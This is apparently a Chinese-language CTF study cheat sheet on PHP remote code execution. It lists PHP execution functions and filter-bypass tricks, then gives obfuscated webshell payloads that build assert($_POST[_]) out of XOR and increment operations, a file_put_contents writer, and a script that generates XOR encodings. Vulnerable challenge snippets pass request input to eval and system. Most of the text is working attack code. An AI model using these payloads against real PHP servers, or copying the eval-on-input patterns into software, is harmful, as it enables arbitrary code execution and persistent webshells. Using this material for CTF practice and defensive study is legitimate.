从0到1，AKRCE之旅

system()：能将字符串作为OS命令执行，且返回命令执行结果；  
exec()：能将字符串作为OS命令执行，但是只返回执行结果的最后一行(约等于无回显)；  
shell_exec()：能将字符串作为OS命令执行  
passthru()：能将字符串作为OS命令执行，只调用命令不返回任何结果，但把命令的运行结果原样输出到标准输出设备上；  
popen()：打开进程文件指针  
proc_open()：与popen()类似  
pcntl_exec()：在当前进程空间执行指定程序；  
反引号``：反引号``内的字符串会被解析为OS命令  

eval()：将字符串作为php代码执行；  
assert()：将字符串作为php代码执行；  
preg_replace()：正则匹配替换字符串；  
create_function()：主要创建匿名函数；  
call_user_func()：回调函数，第一个参数为函数名，第二个参数为函数的参数；  
call_user_func_array()：回调函数，第一个参数为函数名，第二个参数为函数参数的数组；  
可变函数：若变量后有括号，该变量会被当做函数名为变量值(前提是该变量值是存在的函数名)的函数执行；  

var_dump()输出变量
file_get_contents() 读文件
get_defined_vars() 读变量
next() 对数组操作
array_pop() 弹出数组
rename() 重命名
eval(var_dump(scandir('/'););//读取根目录
cat `ls`//等效于打开ls目录下的文件
_被过滤可用'['代替
分号过滤使用?>闭合
show_source(next(array_reverse(scandir(pos(localeconv())))));

//glob伪协议读文件(适用于ls被限制):
$a='glob:///*';
$b=opendir($a);
if($b){
    while(($file=readdir($b))!==false){
        echo $file;
    }
    closedir($b);
}exit();

变量覆盖:
?rce=eval($_GET[1]);&1=phpinfo();

<?php 
if(isset($_GET['command'])){
    $command = $_GET['command'];
    if(strlen($command)>5){
        die("Too Long!");
    }
    if(preg_match("/[A-Za-z0-9]+/",$command)){
        die("No letters or numbers!");
    }
    eval(system("echo you are not able to get flag;$command 2>&1"));
}else{
    highlight_file(__FILE__);
} 
?> 

<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

<?php
$input = readline("         请输入字符: ");
for ($i = 0; $i < strlen($input); $i++) {
	for ($a=0; $a <= 15; $a++){
		for ($b=0; $b <= 15; $b++){
			$current_char = $input[$i];
			$c = '%' . dechex($a) . dechex($b);
			//10进制转16进制
			$decoded = urldecode(''.$c.'');
			//两次单引号,不然没法写
			$decoded_ascii = ord($decoded);
			//求$curl解码之后的ascii数
			$backtick_ascii = ord('`');
			//求`的ascii数
			$result = $decoded_ascii ^ $backtick_ascii;
			//异或
			if (chr($result) == $current_char) {
				echo "$current_char ===> $c\n";
				continue;
			}
			
		}
	}
}
?>

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

<?php
$_=('%06'^'`').('%09'^'`').('%0c'^'`').('%05'^'`').'_'.('%10'^'`').('%15'^'`').('%14'^'`').'_'.('%03'^'`').('%0f'^'`').('%0e'^'`').('%14'^'`').('%05'^'`').('%0e'^'`').('%14'^'`').('%13'^'`');
//$_=file_put_contents
$__=('%12'^'`').('%03'^'`').('%05'^'`').'.'.('%10'^'`').('%08'^'`').('%10'^'`');
//$__=rce.php
$___=('%10'^'`').('%08'^'`').('%10'^'`').('%09'^'`').('%0e'^'`').('%06'^'`').('%0f'^'`');
//$___=phpinfo
$____=$_($__,$___());
//$____=file_put_contents(rce.php,phpinfo());
?>

<?php
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>35){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9_$]+/",$code)){
        die("NO.");
    }
    eval($code);
}else{
    highlight_file(__FILE__);
}

<?php

//something hide here
highlight_string(shell_exec("cat ".__FILE__." | grep -v preg_match | grep -v highlight"));

$cmd = $_REQUEST["__secret.xswl.io"];
if (strlen($cmd)>70) {
    	die("no, >70");
}
if (preg_match("/('|`|\n|\t|\\\$|~|@|#|;|&|\\||-|_|\\=|\\*|!|\\%|\\\^|index|execute')/is",$cmd)){
    	die("你就不能绕一下喵");
}

system("./execute.sh '".$cmd."'");

?>

<?php
$cmd = $_REQUEST["__secret.xswl.io"];
system("./execute.sh '".$cmd."'");
?>